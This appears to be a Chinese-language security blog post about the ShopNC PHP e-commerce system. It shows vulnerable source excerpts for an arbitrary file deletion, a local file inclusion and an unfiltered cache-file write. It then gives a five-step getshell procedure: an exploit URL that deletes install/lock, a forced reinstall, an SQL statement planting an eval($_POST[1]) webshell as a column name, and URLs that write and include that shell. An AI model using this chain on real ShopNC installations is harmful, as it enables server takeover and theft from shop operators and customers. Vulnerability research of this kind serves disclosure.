前言

ShopNC是一款網(wǎng)城創(chuàng)想公司旗下服務(wù)于企業(yè)客戶的電子商務(wù)系統(tǒng)，基于PHP5技術(shù)采用MVC 模式開(kāi)發(fā)，本文介紹了shopnc多個(gè)漏洞結(jié)合,可getshell有點(diǎn)暴力-_-

[[109727]]

任意文件刪除

文件 control\store.php 1438 行 (還有幾個(gè)同樣的地方,新版已修復(fù))

........
$model_upload = Model('upload');
        $file_info = $model_upload->getOneUpload(intval($_GET['file_id']));
        if(!$file_info){
            @unlink(ATTACH_SLIDE.DS.$_GET['img_src']);
        }else{
 
........

本地文件包含

文件 /framework/core/base.php 71行

$act_file = realpath( BasePath.DS."control".DS.$_GET['act'].".php" );
    }
    if ( is_file( $act_file ) )
    {
        require( $act_file );
        $class_name = $_GET['act']."Control";
        if ( class_exists( $class_name ) )

后臺(tái)更新緩存寫(xiě)shell

/**
     * 更新一條廣告緩存
     *
     * @param unknown_type $adv
     * @return unknown
     */
    public function makeAdvCache($adv){
        $lang   = Language::getLangContent();
        $tmp .= "<?php \r\n";
        $tmp .= "defined('InShopNC') or exit('Access Invalid!'); \r\n";
        if (is_numeric($adv) && $adv > 0){
 
            $condition['adv_id'] = $adv;
            $adv_info = $this->getList($condition);
            $adv = $adv_info['0'];
        }
    ..................................
                       $content = addslashes($v);
            $content = str_replace('$','\$',$content);
            //防止有$符號(hào)被解析成變量
            $tmp .= '$'.$k." = \"".$content."\"; \r\n";
        }
        //緩存文件存放位置及文件名
        $cache_file = BasePath.'/cache/adv/adv_'.$adv['adv_id'].'.cache.php';
        file_put_contents($cache_file,$tmp);

繼續(xù)跟進(jìn)getList函數(shù)

public function getList($condition=array(), $page='', $limit='', $orderby=''){
    $param  = array();
    $param['table'] = 'adv';
    $param['field'] = $condition['field']?$condition['field']:'*';
    $param['where'] = $this->getCondition($condition);
    if($orderby == ''){
        $param['order'] = 'slide_sort, adv_id desc';
    }else{
        $param['order'] = $orderby;
    }
    $param['limit'] = $limit;
    return Db::select($param,$page);
}

寫(xiě)文件時(shí),從數(shù)據(jù)庫(kù)中遍歷key,跟value 未過(guò)濾key,key 可以從數(shù)據(jù)庫(kù)讀取,當(dāng)有數(shù)據(jù)庫(kù)可控時(shí),即可寫(xiě)入任意文件.

ShopNc GetShell

結(jié)合以上三個(gè)漏洞,即可優(yōu)雅的 getshell

流程

任意文件刪除 => 重裝 => 更改數(shù)據(jù)庫(kù) shopnc_adv 鍵值 =>更新廣告緩存 =>getshell

具體步驟

1:http://www.xxx.com/index.php?act=store&op=dorp_img&file_id=16&img_src=/../../../install/lock

2:重裝系統(tǒng)

3:進(jìn)入MySQL 執(zhí)行sql ALTER TABLE `shopnc_adv` ADD `{eval($_POST[1])}` VARCHAR( 100 ) NOT NULL

4:進(jìn)入后臺(tái) 更新廣告緩存 http://www.xxx.com/admin/index.php?act=adv&op=adv_edit&adv_id=14

5:連接shell http://www.xxx.com/index.php?act=../cache/adv/adv_14.cache